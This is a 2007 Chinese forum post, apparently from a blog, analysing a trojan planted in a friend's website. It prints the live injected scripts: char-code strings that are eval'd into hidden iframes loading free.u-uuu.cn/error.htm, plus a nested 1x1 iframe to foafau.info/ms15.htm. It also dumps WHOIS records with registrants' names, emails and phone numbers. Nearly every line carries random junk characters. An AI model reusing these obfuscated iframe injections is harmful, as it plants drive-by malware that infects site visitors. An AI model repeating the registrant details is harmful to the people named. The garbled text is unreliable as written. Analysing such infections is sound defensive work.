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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, f:-)S8OJ  
A-Ba%Fv  
http://www.areway.cn/?p=175 -XYvjW,|  
D07M!U  
z:Am1B  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ~"+"6zg  
          1EU4/6!C  
<script>t=’60,105,102,114,97,109,101, _=g&^_ #t  
32,115,114,99,61,104,116,116,112,58,47,47, 9evr!=":  
102,114,101,101,46,117,45,117,117,117,46,99, /A9RmTb  
110,47,101,114,114,111,114,46,104,116,109, 8lQ}-8  
32,119,105,100,116,104,61,49,48,48,32,104, 5 kHaZ Q  
101,105,103,104,116,61,48,62,60,47,105,102, 217G[YE-  
114,97,109,101,62′; =j>xu|q  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Y j oe|  
                                                                                                  %+*=Vr  
<script>t=’60,105,102,114,97,109,101,32,115, VR (R.  
114,99,61,104,116,116,112,58,47,47,102,114, |4\1V=(  
101,101,46,117,45,117,117,117,46,99,110,47, '#6e Ub  
101,114,114,111,114,46,104,116,109,32,119, ny-:%A  
105,100,116,104,61,49,48,48,32,104,101,105, t:10  
103,104,116,61,48,62,60,47,105,102,114,97, KZKE&bTx  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); :T-DxP/  
document.write(t);</script> +bumWOQ'  
                                                                                                  }4 0T'y  
<html xmlns=” TOwqr T/  
http://www.w3.org/1999/xhtml w)dnmrKDZg  
“> V 20h\(\\  
<head> tSHW"R  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> =MNp;  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> yGR{-YwU!  
<title>首页 - 爱生活家庭网 *OLqr/ yb  
                                                                                                                                                    1Q@]b_"Xh  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 .UP h  
转换字符串后的大概内容是(谁点击后果自付): `7/(sX.  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… /1OCK=  
                                                                                                                                  4aO/^Hl  
查询玉米u-uuu.cn的详细信息: J&8KIOz14Z  
Domain Name: u-uuu.cn -,8LL@_  
ROID: 20070901s10001s64972306-cn 8lusKww  
Domain Status: ok SAP/jD$5]>  
Registrant Organization: 王雷 N{%7OG  
Registrant Name: 王雷 8'PZA,CW  
Administrative Email: czlovexs@126.com fo ~uI(rk  
Sponsoring Registrar: 北京万网志成科技有限公司 6n]+(=  
Name Server:ns.yovole.com 3U<m\A1  
Name Server:ns1.yovole.com ceUe*}\cr  
Registration Date: 2007-09-01 17:54 B=0^Rysg  
Expiration Date: 2008-09-01 17:54 Ge?Wm q>  
最后PING了一下地址 都没有什么…. I=dG(?#7%  
                                                                                                y[m,t}gi  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ` aVp#  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>  [ <X%  
<script language=”javascript” src=” >9H^r\  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script (=j;rfvP  
> (d_z\U7l  
这个玉米应该有可能是木马作者的: / l$enexSt  
foafau.info的详细信息: rUI?{CV  
Access to INFO WHOIS information is provided to assist persons in ,@ '^3u  
determining the contents of a domain name registration record in the G*9(O:  
Afilias registry database. The data in this record is provided by 2+9VDf2  
Afilias Limited for informational purposes only, and Afilias does not jR%*,IeB  
guarantee its accuracy.  This service is intended only for query-based gG?@_ie  
access. You agree that you will use this data only for lawful purposes 7P1Pk?pxy  
and that, under no circumstances will you use this data to: (a) allow, 4)gG_k  
enable, or otherwise support the transmission by e-mail, telephone, or x7S\-<8  
facsimile of mass unsolicited, commercial advertising or solicitations zj7ta[<tr  
to entities other than the data recipient’s own existing customers; or ~nA k-toJ  
(b) enable high volume, automated, electronic processes that send O},}-%G  
queries or data to the systems of Registry Operator, a Registrar, or ed6@o4D/kf  
Afilias except as reasonably necessary to register domain names or re*}a)iL  
modify existing registrations. All rights reserved. Afilias reserves @j\:K<sk  
the right to modify these terms at any time. By submitting this query, :+\0.\K0!  
you agree to abide by this policy. .OdtM X y  
Domain ID:D22418703-LRMS yCxYFi  
Domain Name:FOAFAU.INFO D0Q9A]bD;  
Created On:20-Nov-2007 16:05:42 UTC JLu$1A@ '  
Last Updated On:20-Nov-2007 16:05:44 UTC rqjq}L)  
Expiration Date:20-Nov-2008 16:05:42 UTC g<Z :`00|  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) R /=rNUe  
Status:CLIENT DELETE PROHIBITED Ll]5u~  
Status:CLIENT RENEW PROHIBITED CXq[VYM&X  
Status:CLIENT TRANSFER PROHIBITED 81Z;hO"~  
Status:CLIENT UPDATE PROHIBITED f"s_dR  
Status:TRANSFER PROHIBITED *L^W[o  
Registrant ID:GODA-040110615 L$5,RUy  
Registrant Name:liu hong 6q^$}eOt  
Registrant Organization: A|ZT ;\  
Registrant Street1:beijing JX&U?Z  
Registrant Street2: WFF?VBT'^  
Registrant Street3: 3m>YR-n$  
Registrant City:beijing 7${<u0((!  
Registrant State/Province: # 55>?  
Registrant Postal Code:100000 i(.e=  
Registrant Country:CN D /QLp3+o  
Registrant Phone:+86.860108888777 <D a-rv8  
Registrant Phone Ext.: ^.A*mMQ  
Registrant FAX: `\( ?^]WLa  
Registrant FAX Ext.: cO J`^^P  
Registrant Email:bbbshiji@163.com d6MWgg  
Admin ID:GODA-240110615 q;68tEupR  
Admin Name:liu hong B<d=;V  
Admin Organization: LhL |ETrJ  
Admin Street1:beijing owIpn=8|Q  
Admin Street2: _V"0g=&Hc  
Admin Street3: <&\ng^Z$  
Admin City:beijing 0q5J)l:  
Admin State/Province: T<n`i~~  
Admin Postal Code:100000 xX&B&"]5  
Admin Country:CN uU^DYgs  
Admin Phone:+86.860108888777 y-hTTd"{  
Admin Phone Ext.: AqgY*"A7  
Admin FAX: >/n];fl>8  
Admin FAX Ext.: &qbEF3p^@  
Admin Email:bbbshiji@163.com |S!R Q-CF  
Billing ID:GODA-340110615 f\2IKpF2  
Billing Name:liu hong 4kL6aSqT  
Billing Organization: 72;'8  
Billing Street1:beijing %RD\Sb4YV  
Billing Street2: BHr,jC  
Billing Street3: \WiCI:  
Billing City:beijing %M96 m   
Billing State/Province: -m^- p  
Billing Postal Code:100000 pB:XNkxL  
Billing Country:CN E ASnh   
Billing Phone:+86.860108888777 JSB+g;  
Billing Phone Ext.: H@(O{ 9Yl;  
Billing FAX: 3H,x4L5j  
Billing FAX Ext.: `Abd=1nH  
Billing Email:bbbshiji@163.com =NY;#Jjn  
Tech ID:GODA-140110615 "}3sL#|z  
Tech Name:liu hong PSJj$bt;<+  
Tech Organization: &@6xu{o  
Tech Street1:beijing `W x| 4  
Tech Street2: <N)!s&D  
Tech Street3:  vm! y2  
Tech City:beijing JRB6T_U  
Tech State/Province: ]$g07 7o  
Tech Postal Code:100000 @ZISv'F  
Tech Country:CN )+L|<6JXA  
Tech Phone:+86.860108888777  Gsh9D  
Tech Phone Ext.: obvE m[x!Z  
Tech FAX: f7*Qa!!2p]  
Tech FAX Ext.: <6(0ZO%,C!  
Tech Email:bbbshiji@163.com ,8384'  
Name Server:NS27.DOMAINCONTROL.COM RL` jaS?V  
Name Server:NS28.DOMAINCONTROL.COM y7+@ v'  
Name Server: ! t!4CY  
Name Server: Ovx *  
Name Server: d}O\:\}y  
Name Server: 2WS*c7Ct  
Name Server: ZQlk 5  
Name Server: 6)1PDlB  
Name Server: `dm*vd  
Name Server: E7O3$B8  
Name Server: fnX[R2KZ  
Name Server: $2W#'_K+  
Name Server: ;87PP7~  
                                                                                                          6'r;6T *  
接着下载每个文件里面的代码: {|oWU8.l  
一步一步看.. -Mr_Ao`E  
B=OzP+  
WD%(RC"Q  
&-*l{"7p+%  
]0>  
8)S)!2_h  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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